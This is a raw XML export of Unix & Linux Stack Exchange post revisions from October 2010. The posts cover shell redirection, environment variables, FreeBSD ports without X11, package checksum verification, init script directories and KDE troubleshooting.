  <row Id="7507" PostHistoryTypeId="2" PostId="3521" RevisionGUID="cc56b433-2675-45e1-b466-ee03c7774123" CreationDate="2010-10-26T04:25:04.980" UserId="1207" Text="This is similar to phunehehe's &quot;temp file trick&quot;, but uses a named pipe instead, allowing you to get results slightly closer to when they are output, which can be handy for long-running commands:&#xD;&#xA;&#xD;&#xA;    $ mkfifo mypipe&#xD;&#xA;    $ command 2&gt; mypipe | grep &quot;pattern&quot; mypipe&#xD;&#xA;&#xD;&#xA;In this construction, stderr will be directed to the pipe named &quot;mypipe&quot;.   Since `grep` has been called with a file argument, it won't look to STDIN for its input.  Unfortunately, you will still have to clean up that named pipe once you are done.  &#xD;&#xA;&#xD;&#xA;If you are using Bash 4, there is a shortcut syntax for `command1 2&gt;&amp;1 | command2`, which is `command1 |&amp; command2`.  However, I believe that this is purely a syntax shortcut, you are still redirecting STDERR to STDOUT." />
  <row Id="7508" PostHistoryTypeId="2" PostId="3522" RevisionGUID="0ba0c3ec-9ed4-4716-bbbc-c3e591dbdf34" CreationDate="2010-10-26T04:26:48.190" UserId="1002" Text="In the case of security it will only catch a limited number of issues, when the person that broke into your server and replaced/changed some files is rather inexperienced, as any &quot;decent&quot; rootkit will make sure that a tool like debsums will &quot;see&quot; the original files and no &quot;alarm&quot; will ring.&#xD;&#xA;&#xD;&#xA;It might be slightly more useful to detect filesystem corruption.&#xD;&#xA;&#xD;&#xA;In any case, it certainly does no harm, as long as you are aware of the limitations." />
  <row Id="7509" PostHistoryTypeId="10" PostId="244" RevisionGUID="f09536af-4bf6-47ce-8226-c75ee661a4c9" CreationDate="2010-10-26T07:18:49.633" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="7510" PostHistoryTypeId="5" PostId="244" RevisionGUID="5996605e-453a-45ff-83de-54828089dec6" CreationDate="2010-10-26T07:18:49.807" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What is the real difference between &amp;ldquo;apt-get&amp;rdquo; and &amp;ldquo;aptitude&amp;rdquo;?  (How about &amp;ldquo;wajig&amp;rdquo;?)](http://unix.stackexchange.com/questions/767/what-is-the-real-difference-between-apt-get-and-aptitude-how-about-wajig)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm new in Linux (Ubuntu) world. When I need to install something I Google for it and frequently I found some command like apt-get install [package name]&#xD;&#xA;&#xD;&#xA;My friend told me that aptitude provides more functionality and it's better to use it instead.&#xD;&#xA;&#xD;&#xA;But as I know aptitude will be removed from next version of Ubuntu (yes, it will be possible to install it, but it will be excluded by default).&#xD;&#xA;&#xD;&#xA;What better to use: apt-get or aptitude?" />
  <row Id="7511" PostHistoryTypeId="2" PostId="3523" RevisionGUID="37f163a6-4ab4-47f3-81da-77c7f0377229" CreationDate="2010-10-26T11:43:01.527" UserId="29" Text="I think the short answer to *Do these tools enhance the security of a system?* is yes.&#xD;&#xA;&#xD;&#xA;Keep in mind this is only an enhancement, there are many aspects of security and it is a long hard road to understanding even an overview of security. Such tools can be used to verify the integrity of your operating system, and this is important. Sure there will be things that can compromise or fool these tools, but imagine if you didn't have them, how would you verify your binaries if you suspected they'd been compromised? Obviously having corrupted binaries due to impending drive failure is a problem to." />
  <row Id="7512" PostHistoryTypeId="2" PostId="3524" RevisionGUID="b0051000-db07-4bce-ba09-d2d6fef5b01c" CreationDate="2010-10-26T12:24:56.707" UserId="1131" Text="First keep in mind that distributions, like e.g. Debian, Ubuntu etc., use cryptographically signed packages, i.e. starting with a trusted install medium, the public key crypto assures that the packages from the official repositories are not modified on the way to your computer.&#xD;&#xA;&#xD;&#xA;For verifying the checksums of installed packages there are a few use cases:&#xD;&#xA;&#xD;&#xA; 1. Data safety - to detect hardware failures for example, the [ksplice blog features such a war story][1]&#xD;&#xA;&#xD;&#xA; 2. Security - for example, if your /usr is mounted from a file server and you suspect a manipulation on that server, but your machine is not compromised&#xD;&#xA;&#xD;&#xA;Of course, if an attacker is root on your system then verifying checksums does not really provides an advantage because he can manipulate the checking or hide the chances to files as well ...&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.ksplice.com/2010/06/attack-of-the-cosmic-rays/" />
  <row Id="7513" PostHistoryTypeId="5" PostId="3509" RevisionGUID="9892e39f-8095-4d12-ba4e-56aa8113661c" CreationDate="2010-10-26T12:41:04.337" UserId="73" Comment="added 277 characters in body" Text="Exported variables are carried into the environment of processes started by the shell that exported them, while non-exported variables are local to the current process only. From the `export` man page:&#xD;&#xA;&#xD;&#xA;&gt; The shell shall give the export attribute to the variables corresponding to the specified names, which shall cause them to be in the environment of subsequently executed commands.&#xD;&#xA;&#xD;&#xA;`set` outputs the current environment, which includes any local non-exported variables. `env` is used to launch programs in a new environment, and with no arguments will output what that new environment would be. Since `env` is creating a new environment, only exported variables are brought through, as is the case for any program launched from that shell. For example, spawning a second shell within the first (I used `$$` to represent prompts in the inner shell):&#xD;&#xA;&#xD;&#xA;    $ FOO=BAR&#xD;&#xA;    $ bash&#xD;&#xA;    $$ echo $FOO&#xD;&#xA;    $$ exit&#xD;&#xA;    $ export FOO&#xD;&#xA;    $ bash&#xD;&#xA;    $$ echo $FOO&#xD;&#xA;    BAR&#xD;&#xA;    $$&#xD;&#xA;&#xD;&#xA;Edited to show that it's the variable itself that's exported, not the value. Once you `export foo`, `foo` becomes a global variable and shows up in subsequent environments, even if changed later:&#xD;&#xA;&#xD;&#xA;    $ export FOO&#xD;&#xA;    $ FOO=BAR&#xD;&#xA;    $ bash&#xD;&#xA;    $$ echo $FOO&#xD;&#xA;    BAR&#xD;&#xA;    $$&#xD;&#xA;" />
  <row Id="7514" PostHistoryTypeId="2" PostId="3525" RevisionGUID="e17715cb-5710-4d1b-a997-0eb7bfbc05d4" CreationDate="2010-10-26T13:09:25.700" UserId="916" Text="I'm running FreeBSD in a small VMWare image and I want to keep it headless. Is there a setting someplace that will guarantee I never pull in X as a dependency, or will I have to rely solely on eternal vigilance? Thanks.&#xD;&#xA;&#xD;&#xA;See also: http://superuser.com/q/203303/10191" />
  <row Id="7515" PostHistoryTypeId="1" PostId="3525" RevisionGUID="e17715cb-5710-4d1b-a997-0eb7bfbc05d4" CreationDate="2010-10-26T13:09:25.700" UserId="916" Text="Is there a simple flag to prevent installing X and anything that depends on it via ports?" />
  <row Id="7516" PostHistoryTypeId="3" PostId="3525" RevisionGUID="e17715cb-5710-4d1b-a997-0eb7bfbc05d4" CreationDate="2010-10-26T13:09:25.700" UserId="916" Text="éfreebsdàéportsàéx11àéheadlessà" />
  <row Id="7517" PostHistoryTypeId="2" PostId="3526" RevisionGUID="5855ab06-9d2f-428a-af32-8764ccbede22" CreationDate="2010-10-26T13:55:17.433" UserId="305" Text="I used [zen kernel patchset][1] for a long time which included tp_smapi patch. Recently in zen-stable tp_smapi was removed as &quot;We no longer need tp_smapi as of 2.6.36 - the in-kernel thinkpad acpi support is better.&quot;. How to port following code to in-kernel thinkpad acpi:&#xD;&#xA;&#xD;&#xA;    echo 40 &gt; /sys/devices/platform/smapi/BAT0/start_charge_thresh&#xD;&#xA;    echo 40 &gt; /sys/devices/platform/smapi/BAT1/start_charge_thresh&#xD;&#xA;    echo 60 &gt; /sys/devices/platform/smapi/BAT0/stop_charge_thresh&#xD;&#xA;    echo 60 &gt; /sys/devices/platform/smapi/BAT1/stop_charge_thresh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zen-kernel.org/" />
  <row Id="7518" PostHistoryTypeId="1" PostId="3526" RevisionGUID="5855ab06-9d2f-428a-af32-8764ccbede22" CreationDate="2010-10-26T13:55:17.433" UserId="305" Text="Migrating from tp_smapi to 'normal' ACPI support in 2.6.36" />
  <row Id="7519" PostHistoryTypeId="3" PostId="3526" RevisionGUID="5855ab06-9d2f-428a-af32-8764ccbede22" CreationDate="2010-10-26T13:55:17.433" UserId="305" Text="ékernelàéthinkpadàéacpià" />
  <row Id="7520" PostHistoryTypeId="5" PostId="3525" RevisionGUID="f950c079-ab68-4c1e-b125-6d2e93a6e7d6" CreationDate="2010-10-26T14:06:54.653" UserId="916" Comment="Tweaked link" Text="I'm running FreeBSD in a small VMWare image and I want to keep it headless. Is there a setting someplace that will guarantee I never pull in X as a dependency, or will I have to rely solely on eternal vigilance? Thanks.&#xD;&#xA;&#xD;&#xA;See also: [the same basic question on SuperUser](http://superuser.com/questions/203303/how-do-i-prevent-accidentally-building-x-as-a-dependency-when-installing-a-port)" />
  <row Id="7523" PostHistoryTypeId="2" PostId="3528" RevisionGUID="5e775e50-e334-47b2-ac0e-0c460c77b612" CreationDate="2010-10-26T14:25:20.763" UserId="305" Text="You need to include `-DWITHOUT_X11` as make argument. Depending on how you install ports you can 'include' it (sorry - I cannot find the details right now).&#xD;&#xA;&#xD;&#xA;Alternativly there is a [ports-mgmt/portconf][1] package in which you can specify WITHOUT_X11, if I understend correctly, in such manner:&#xD;&#xA;&#xD;&#xA;    *: WITHOUT_X11&#xD;&#xA;&#xD;&#xA;Please note that it will work only with optional X11 dependencies - installing KDE will stil install X11.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/cvsweb.cgi/ports/ports-mgmt/portconf/" />
  <row Id="7524" PostHistoryTypeId="5" PostId="3528" RevisionGUID="929c5539-e861-467f-939c-a4107af8ce5b" CreationDate="2010-10-26T14:34:12.513" UserId="73" Comment="added 2 characters in body" Text="You need to include `-DWITHOUT_X11` as make argument. Depending on how you install ports you can 'include' it (sorry - I cannot find the details right now).&#xD;&#xA;&#xD;&#xA;Alternatively there is a [ports-mgmt/portconf][1] package in which you can specify WITHOUT_X11, if I understand correctly, in such manner:&#xD;&#xA;&#xD;&#xA;    *: WITHOUT_X11&#xD;&#xA;&#xD;&#xA;Please note that it will work only with optional X11 dependencies - installing KDE will still install X11.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/cvsweb.cgi/ports/ports-mgmt/portconf/" />
  <row Id="7525" PostHistoryTypeId="2" PostId="3529" RevisionGUID="79293798-826b-4ec1-a71f-b225fb2cd36d" CreationDate="2010-10-26T14:35:10.690" UserId="305" Text="Usually many distros provides 'network' installation disk - including Debian. If you have normal broadband connection probably the easiest way is to install via network install as:&#xD;&#xA;&#xD;&#xA; - You download only things you need&#xD;&#xA; - You (usually - I'm not sure about Debian) don't need to update things right after installation as the newest package is installed with all security patches applied&#xD;&#xA; - You don't have problems that you downloaded only some of disks while you favourite editor is not included&#xD;&#xA;&#xD;&#xA;Network image is as large as 40-120 MB for debian.&#xD;&#xA;&#xD;&#xA;PS. Probably you would need standalone router for network installation as I doubt that many drivers for USB routers are included on network disk." />
  <row Id="7526" PostHistoryTypeId="6" PostId="3526" RevisionGUID="0717a258-53bc-4260-89a7-30483fded7bd" CreationDate="2010-10-26T14:56:55.050" UserId="305" Comment="edited tags" Text="élinuxàékernelàéthinkpadàéacpià" />
  <row Id="7527" PostHistoryTypeId="2" PostId="3530" RevisionGUID="1b76c2df-06ac-407c-90c9-50407caf8c5c" CreationDate="2010-10-26T15:07:25.880" UserId="916" Text="According to [the mailing list][1], you should set `WITHOUT_X11=yes` in `/etc/make.conf`.&#xD;&#xA;&#xD;&#xA;[1]: http://lists.freebsd.org/pipermail/freebsd-bugs/2004-July/007813.html" />
  <row Id="7528" PostHistoryTypeId="2" PostId="3531" RevisionGUID="5a194e52-e4be-421c-b208-8ea8923f6c74" CreationDate="2010-10-26T15:40:29.887" UserId="1942" Text="Perhaps a simpler way to try Debian.&#xD;&#xA;&#xD;&#xA;Mint has their recent LDME.&#xD;&#xA;&#xD;&#xA;A version of Mint based on debian. For all essential purposes it is Debian with some proprietar4y stuff added in ( eg codecs )." />
  <row Id="7529" PostHistoryTypeId="2" PostId="3532" RevisionGUID="93c3c318-1b79-4126-8681-fcc68f902aa8" CreationDate="2010-10-26T15:51:08.887" UserId="732" Text="I happen to not think that the &quot;vim is modal&quot; comment above is correct.  Vim has commands.  You can do &quot;11aNow is the time for all good men..&lt;esc&gt;&quot; and end up with 11 identical new lines of text in your file.  That's a command, not a mode.  But there's actually a very basic difference in Vim commands vs Emacs commands.  I'm not entirely sure I can describe it, but Eric Fischer incorporated Emacs-style line editing in a TTY driver 10+ years ago, and got a paper published about it:&#xD;&#xA;&#xD;&#xA;http://www.usenix.org/event/usenix99/full_papers/fischer/fischer.pdf&#xD;&#xA;&#xD;&#xA;He found that Emacs style line editing was fundamentally different than vi-style.&#xD;&#xA;&#xD;&#xA;So Emacs has an advantage that a lot of other things (bash, gnuplot, zsh, ksh some others I can't think of off the top of my head) all end up implementing Emacs-style line editing.&#xD;&#xA;&#xD;&#xA;I should note that I personally use Vim all the time.  I'm only a very occasional Emacs user." />
  <row Id="7530" PostHistoryTypeId="5" PostId="3531" RevisionGUID="8bf9867c-6c26-4848-81c6-a9e4acfe50b1" CreationDate="2010-10-26T15:51:11.357" UserId="1942" Comment="added 60 characters in body" Text="Perhaps a simpler way to try Debian.&#xD;&#xA;&#xD;&#xA;Mint has their recent [LDME][1].&#xD;&#xA;&#xD;&#xA;A version of Mint based on debian. For all essential purposes it is Debian with some proprietar4y stuff added in ( eg codecs ).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxmint.com/download_lmde.php" />
  <row Id="7531" PostHistoryTypeId="2" PostId="3533" RevisionGUID="bc6dd157-4e8a-4cde-ab83-852d67e2b5fc" CreationDate="2010-10-26T16:47:55.513" UserId="663" Text="What could cause touch to fail with this error message?&#xD;&#xA;&#xD;&#xA;    touch: cannot touch `foo': No such file or directory&#xD;&#xA;&#xD;&#xA;Note that an error due to incorrect permissions looks different:&#xD;&#xA;&#xD;&#xA;    touch: cannot touch `foo': Permission denied&#xD;&#xA;" />
  <row Id="7532" PostHistoryTypeId="1" PostId="3533" RevisionGUID="bc6dd157-4e8a-4cde-ab83-852d67e2b5fc" CreationDate="2010-10-26T16:47:55.513" UserId="663" Text="touch: cannot touch `foo': No such file or directory" />
  <row Id="7533" PostHistoryTypeId="3" PostId="3533" RevisionGUID="bc6dd157-4e8a-4cde-ab83-852d67e2b5fc" CreationDate="2010-10-26T16:47:55.513" UserId="663" Text="élinuxàéshellà" />
  <row Id="7534" PostHistoryTypeId="2" PostId="3534" RevisionGUID="0908d593-9654-4f71-b9f8-50f653000830" CreationDate="2010-10-26T16:54:22.963" UserId="2443" Text="At one day (it has been for a while now) the background of KDE main toolbar started looking really strange: [screenshot](http://www.imageno.com/ohzb6j46drcbpic.html) (it looks to me as the alpha channel of the background image is missing).&#xD;&#xA;&#xD;&#xA;Debugging I've done:&#xD;&#xA;&#xD;&#xA;* When I change the workspace theme in KDE System Preferences to something else than &quot;Air&quot; and back again, the problem disappears.&#xD;&#xA;&#xD;&#xA;* When I choose any some other theme than the default &quot;Air&quot; there is no problem, except that I don't like these other themes as much.&#xD;&#xA;&#xD;&#xA;* I created a new clean user account and logged in with KDE - the same problem appeared - so it's not that I have some outdated files in my .kde4 config directory.&#xD;&#xA;&#xD;&#xA;* I have tried reinstalling several components of KDE that could effect this, but without success - might have not been the right ones, haven't done a complete reinstall of KDE.&#xD;&#xA;&#xD;&#xA;It probably happened after some update of my Gentoo system, but I may not remember correctly, as I have looked for a solution to this for quite some time now.&#xD;&#xA;&#xD;&#xA;If only I knew were to look for to find this particular image file and see if there is something wrong with it... but I've grepped and located and finded in /usr/share quite a bit and I don't seem to understand where are those KDE workspace theme files located.&#xD;&#xA;&#xD;&#xA;Using KDE 4.4.5 with the default &quot;Air&quot; theme." />
  <row Id="7535" PostHistoryTypeId="1" PostId="3534" RevisionGUID="0908d593-9654-4f71-b9f8-50f653000830" CreationDate="2010-10-26T16:54:22.963" UserId="2443" Text="KDE toolbar background messed up" />
  <row Id="7536" PostHistoryTypeId="3" PostId="3534" RevisionGUID="0908d593-9654-4f71-b9f8-50f653000830" CreationDate="2010-10-26T16:54:22.963" UserId="2443" Text="ékdeàédesktopöenvironmentà" />
  <row Id="7537" PostHistoryTypeId="2" PostId="3535" RevisionGUID="cc8485e2-8dc2-4225-85b1-d4b0df212882" CreationDate="2010-10-26T16:57:13.553" UserId="1131" Text="Hm, homework question? Anyway, following sequence causes this error message:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ mkdir foo&#xD;&#xA;    $ cd foo&#xD;&#xA;&#xD;&#xA;In another terminal:&#xD;&#xA;&#xD;&#xA;    $ rm -r foo&#xD;&#xA;&#xD;&#xA;In the previous terminal:&#xD;&#xA;&#xD;&#xA;    $ touch x&#xD;&#xA;    touch: cannot touch `x': No such file or directory&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7538" PostHistoryTypeId="2" PostId="3536" RevisionGUID="0c39cd76-f582-4e66-800a-37c5530ad687" CreationDate="2010-10-26T18:18:04.327" UserId="4" Text="To test this, I use following command to prints one line to stdout and one line to stderr:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    # Print a message to stdout&#xD;&#xA;    echo &quot;$0: Printing to stdout&quot;&#xD;&#xA;    # Print a message to stderr&#xD;&#xA;    echo &quot;$0: Printing to stderr&quot; &gt;&amp;2&#xD;&#xA;    &#xD;&#xA;    exit 0&#xD;&#xA;&#xD;&#xA;Normally, output is printed to both stdout and stderr:&#xD;&#xA;&#xD;&#xA;    $ ./stdout-stderr.sh&#xD;&#xA;    ./stdout-stderr.sh: Printing to stdout&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;So we hide output to stdout:&#xD;&#xA;&#xD;&#xA;    $ { ./stdout-stderr.sh &gt;/dev/null ; } 2&gt;&amp;1&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;The following Bash syntax will hide output to stdout, but will still show stderr. You must convert stderr to stdout, because grep only operates on stdout. You can still grep the standard error. The `--color` flag helps you to see that grep will find a match with 'err'.&#xD;&#xA;&#xD;&#xA;	$ { ./stdout-stderr.sh &gt;/dev/null ; } 2&gt;&amp;1  | grep --color err&#xD;&#xA;	./stdout-stderr.sh: Printing to stderr&#xD;&#xA;" />
  <row Id="7539" PostHistoryTypeId="2" PostId="3537" RevisionGUID="9dacba14-ef55-4a60-80e9-f6380ad3d5cc" CreationDate="2010-10-26T18:22:42.193" UserId="1571" Text="Is ubuntu's `/etc/init.d` directory exactly equivalent (functionally) to what I presume to be the more standard `/etc/rc.d/` (at least on arch)? Is there any particular reason canonical used init.d instead of rc.d for startup scripts?" />
  <row Id="7540" PostHistoryTypeId="1" PostId="3537" RevisionGUID="9dacba14-ef55-4a60-80e9-f6380ad3d5cc" CreationDate="2010-10-26T18:22:42.193" UserId="1571" Text="/etc/rc.d vs /etc/init.d" />
  <row Id="7541" PostHistoryTypeId="3" PostId="3537" RevisionGUID="9dacba14-ef55-4a60-80e9-f6380ad3d5cc" CreationDate="2010-10-26T18:22:42.193" UserId="1571" Text="éubuntuàéinitöscriptà" />
  <row Id="7542" PostHistoryTypeId="2" PostId="3538" RevisionGUID="dc58e6b1-45ee-46f5-8a46-a18204628191" CreationDate="2010-10-26T18:28:40.917" UserId="1571" Text="I've had this exact problem on all my newer KDE installations. It seems to be a bug in KDE though I've not seen anything specific on it. A quick fix that I've used is to change the hight of the toolbar. It seems that if you change the hight to something smaller, the problem disappears forever. It's just at the default height that it has problems." />
  <row Id="7543" PostHistoryTypeId="2" PostId="3539" RevisionGUID="8aca187a-db1d-4da0-9c72-9532f8598d92" CreationDate="2010-10-26T18:58:47.037" UserId="885" Text="The `typeset` builtin strangely has an option to show functions only (`-f`) but not to show parameters only. Fortunately, `typeset` (or `set`) displays all parameters before all functions, function and parameter names cannot contain newlines or equal signs, and newlines in parameter values are quoted (they appear as `\n`). So you can stop at the first line that doesn't contain an equal sign:&#xD;&#xA;&#xD;&#xA;    set | awk -F '=' '! /^[0-9A-Z_a-z]+=/ {exit} {print $1}'&#xD;&#xA;&#xD;&#xA;This only prints the parameter names; if you want the values, change `print $1` to `print $0`.&#xD;&#xA;&#xD;&#xA;Note that this prints all parameter names (parameters and variables are used synonymously here), not just environment variables (“environment variable” is synonymous with “exported parameters”).&#xD;&#xA;&#xD;&#xA;Note also that this assumes there is no environment variable with a name that doesn't match bash's constraints on parameter names. Such variables cannot be created inside bash but can have been inherited from the environment when bash starts:&#xD;&#xA;&#xD;&#xA;    env 'foo ()&#xD;&#xA;    {&#xD;&#xA;      =oops' bash&#xD;&#xA;" />
  <row Id="7544" PostHistoryTypeId="2" PostId="3540" RevisionGUID="4c7a6989-9257-414e-b458-287dbd3dc305" CreationDate="2010-10-26T19:15:17.610" UserId="885" Text="None of the usual shells (even zsh) permits pipes other than from stdout to stdin. But all Bourne-style shells support file descriptor reassignment (as in `1&gt;&amp;2`). So you can temporarily divert stdout to fd 3 and stderr to stdout, and later put fd 3 back onto stdout.&#xD;&#xA;If `stuff` produces some output on stdout and some output on stderr, and you want to apply `filter` on the error output leaving the standard output untouched, you can use `{ stuff 2&gt;&amp;1 1&gt;&amp;3 | filter 1&gt;&amp;2; } 3&gt;&amp;1`.&#xD;&#xA;&#xD;&#xA;    $ stuff () {&#xD;&#xA;      echo standard output&#xD;&#xA;      echo more output&#xD;&#xA;      echo standard error 1&gt;&amp;2&#xD;&#xA;      echo more error 1&gt;&amp;2&#xD;&#xA;    }&#xD;&#xA;    $ filter () {&#xD;&#xA;      grep a&#xD;&#xA;    }&#xD;&#xA;    $ { stuff 2&gt;&amp;1 1&gt;&amp;3 | filter 1&gt;&amp;2; } 3&gt;&amp;1&#xD;&#xA;    standard output&#xD;&#xA;    more output&#xD;&#xA;    standard error&#xD;&#xA;" />
  <row Id="7545" PostHistoryTypeId="2" PostId="3541" RevisionGUID="d45c1a8a-afcc-4e1d-ab31-18e3c606b355" CreationDate="2010-10-26T19:45:53.467" UserId="885" Text="Ubuntu uses `/etc/init.d` to store SysVinit scripts because Ubuntu is based on Debian and that's what Debian uses. Red Hat uses `/etc/rc.d/init.d`. I forget what Slackware uses. There just isn't a standard location.&#xD;&#xA;&#xD;&#xA;Ubuntu is in the process of switching from SysVinit to [Upstart](http://upstart.ubuntu.com/), which uses configuration files in [`/etc/init`](http://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d/5042#5042).&#xD;&#xA;" />
  <row Id="7548" PostHistoryTypeId="2" PostId="3542" RevisionGUID="d9a119bd-2f69-4a25-86c1-7b383747e9a4" CreationDate="2010-10-26T21:04:27.727" UserId="1941" Text="It might not be possible. At least there is nothing in the [documentation of thinkpad-acpi][1], nothing in the [release notes][2], nothing in the [thinkpad-acpi thinkwiki page][3] and no mentioning of tp_smapi being obsolete in [the tp_smapi thinkwiki page][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://repo.or.cz/w/linux-2.6/linux-acpi-2.6/ibm-acpi-2.6.git/blob_plain/release/2.6.35:/Documentation/laptops/thinkpad-acpi.txt&#xD;&#xA;  [2]: http://downloads.sourceforge.net/project/ibm-acpi/thinkpad-acpi/0.24-20100516/thinkpad-acpi-0.24-20100516.release-notes.txt?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fibm-acpi%2Ffiles%2F&amp;ts=1288126769&amp;use_mirror=mesh&#xD;&#xA;  [3]: http://www.thinkwiki.org/wiki/Thinkpad-acpi&#xD;&#xA;  [4]: http://www.thinkwiki.org/wiki/Tp_smapi" />
  <row Id="7549" PostHistoryTypeId="4" PostId="3510" RevisionGUID="31c21ac2-3be2-4c7b-9041-309d49809781" CreationDate="2010-10-26T21:06:38.223" UserId="1170" Comment="edited title" Text="How to print all environment variables defined (but not necessarily exported) in bash" />
  <row Id="7550" PostHistoryTypeId="2" PostId="3543" RevisionGUID="6f6dbe0e-d985-4bdc-90b2-19fec3522043" CreationDate="2010-10-26T21:16:19.797" UserId="653" Text="Hello everyone,&#xD;&#xA;Sometimes, I use KDE, and one of the things that I like the most in KDE 4 is the activity concept. At work, it is very useful because I often work on several different projects during one day. Switching to another activity enables me to change the widgets, so that I can have access to folders related to the current project, for instance.&#xD;&#xA;&#xD;&#xA;I've decided to use this concept in the shell, so I have coded a small bash function called &quot;switch&quot;, which sets aliases useful for the current project, e.g. alias cdwww=~/public_html/current_project/www , and so on.&#xD;&#xA;&#xD;&#xA;My question is : Is there a way I can synchronise KDE activities with shell activities, that is calling 'switch myproj' on every opened terminal when switching to activity 'myproj' through KDE and *vice versa* (bonus question)?" />
  <row Id="7551" PostHistoryTypeId="1" PostId="3543" RevisionGUID="6f6dbe0e-d985-4bdc-90b2-19fec3522043" CreationDate="2010-10-26T21:16:19.797" UserId="653" Text="Expand KDE activities concept to the shell" />
  <row Id="7552" PostHistoryTypeId="3" PostId="3543" RevisionGUID="6f6dbe0e-d985-4bdc-90b2-19fec3522043" CreationDate="2010-10-26T21:16:19.797" UserId="653" Text="ébashàékdeà" />
  <row Id="7553" PostHistoryTypeId="2" PostId="3544" RevisionGUID="91178b08-2f34-4d6f-aba4-ecff9678af0f" CreationDate="2010-10-26T21:32:53.270" UserId="2446" Text="What's the best way to strip all code comments in a given directory?  I'd like to strip out all &quot;// ... EOL&quot; comments, and /* blah \*/ (or /** ... \*/) comments as well.&#xD;&#xA;&#xD;&#xA;This is a PHP project, and I'd like to go a little further than what is outlined below, yet for security purposes rather than efficiency.&#xD;&#xA;&#xD;&#xA;http://zendframework.com/manual/en/performance.classloading.html (Strip require_once calls with find and set)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated." />
  <row Id="7554" PostHistoryTypeId="1" PostId="3544" RevisionGUID="91178b08-2f34-4d6f-aba4-ecff9678af0f" CreationDate="2010-10-26T21:32:53.270" UserId="2446" Text="Strip // Comments From Files" />
  <row Id="7555" PostHistoryTypeId="3" PostId="3544" RevisionGUID="91178b08-2f34-4d6f-aba4-ecff9678af0f" CreationDate="2010-10-26T21:32:53.270" UserId="2446" Text="ébashà" />
  <row Id="7556" PostHistoryTypeId="6" PostId="3534" RevisionGUID="83b8a143-aa6a-4569-adcf-45bbafe56d10" CreationDate="2010-10-26T21:46:24.800" UserId="29" Comment="add tag" Text="ékdeàédesktopöenvironmentàébugöworkaroundà" />
  <row Id="7557" PostHistoryTypeId="2" PostId="3545" RevisionGUID="3cf42c1c-93cd-4299-b746-7780cf3215e4" CreationDate="2010-10-26T22:36:37.420" UserId="2447" Text="As I understand it, `export`ing an environment variable makes it available to any processes spawned from the current one.  But the only processes that will be interested in the `HISTIGNORE` variable (and some related variables) are other instances of bash, which will read ~/.bashrc and pick up the value anyway.  So should I use:&#xD;&#xA;&#xD;&#xA;    export HISTIGNORE=&quot;&amp;&quot;&#xD;&#xA;&#xD;&#xA;or just:&#xD;&#xA;&#xD;&#xA;    HISTIGNORE=&quot;&amp;&quot;&#xD;&#xA;&#xD;&#xA;in my .bashrc file?" />
  <row Id="7558" PostHistoryTypeId="1" PostId="3545" RevisionGUID="3cf42c1c-93cd-4299-b746-7780cf3215e4" CreationDate="2010-10-26T22:36:37.420" UserId="2447" Text="Is &quot;export&quot; needed when setting HISTIGNORE in bashrc files?" />
  <row Id="7559" PostHistoryTypeId="3" PostId="3545" RevisionGUID="3cf42c1c-93cd-4299-b746-7780cf3215e4" CreationDate="2010-10-26T22:36:37.420" UserId="2447" Text="ébashà" />
  <row Id="7560" PostHistoryTypeId="2" PostId="3546" RevisionGUID="6522df7c-3c96-4ca8-ae3e-4e9309c27c00" CreationDate="2010-10-26T23:08:19.923" UserId="885" Text="For shell settings, you don't need `export`, for the reason you give. And it's better not to use it, in case some other application reacts to the same variable but doesn't interpret the value in the same way. I don't know any other application that uses `HISTIGNORE`, but the issue arises with other variables. For example, `PS1` should definitely not be exported since different shells use this variable but with different escape sequences.&#xD;&#xA;" />
  <row Id="7561" PostHistoryTypeId="2" PostId="3547" RevisionGUID="b4aa22db-471e-4556-aa25-1c3e146874a4" CreationDate="2010-10-26T23:15:58.027" UserId="2381" Text="/etc/init.d was the old historical location for SVR4.  I forgot why redhat added the /etc/rc.d/ level.  I think to isolate things onto rc.d, but then needed to add a bunch of symlinks anyway for backwards compatibility.  So there is /etc/init.d in redhat, just it symlinks elsewhere.&#xD;&#xA;&#xD;&#xA;So the standard location is /etc/init.d, though it may be a symlink not a real directory.&#xD;&#xA;&#xD;&#xA;There were some really old Linux distros that copied BSD with /etc/rc.local but pretty much no one uses that anymore." />
  <row Id="7562" PostHistoryTypeId="2" PostId="3548" RevisionGUID="4684c829-9874-4b51-bb4f-2f321e3dfdaa" CreationDate="2010-10-27T00:41:47.843" UserId="1571" Text="Is there a way to make my terminal (konsole) display different text colors when I'm in an ssh session WITHOUT modifying the remote host's color configuration? Like, maybe automatically switching to a different profile?" />
  <row Id="7563" PostHistoryTypeId="1" PostId="3548" RevisionGUID="4684c829-9874-4b51-bb4f-2f321e3dfdaa" CreationDate="2010-10-27T00:41:47.843" UserId="1571" Text="Make terminal text color different when in ssh session" />
  <row Id="7564" PostHistoryTypeId="3" PostId="3548" RevisionGUID="4684c829-9874-4b51-bb4f-2f321e3dfdaa" CreationDate="2010-10-27T00:41:47.843" UserId="1571" Text="éshellàésshàécolorsàékonsoleà" />
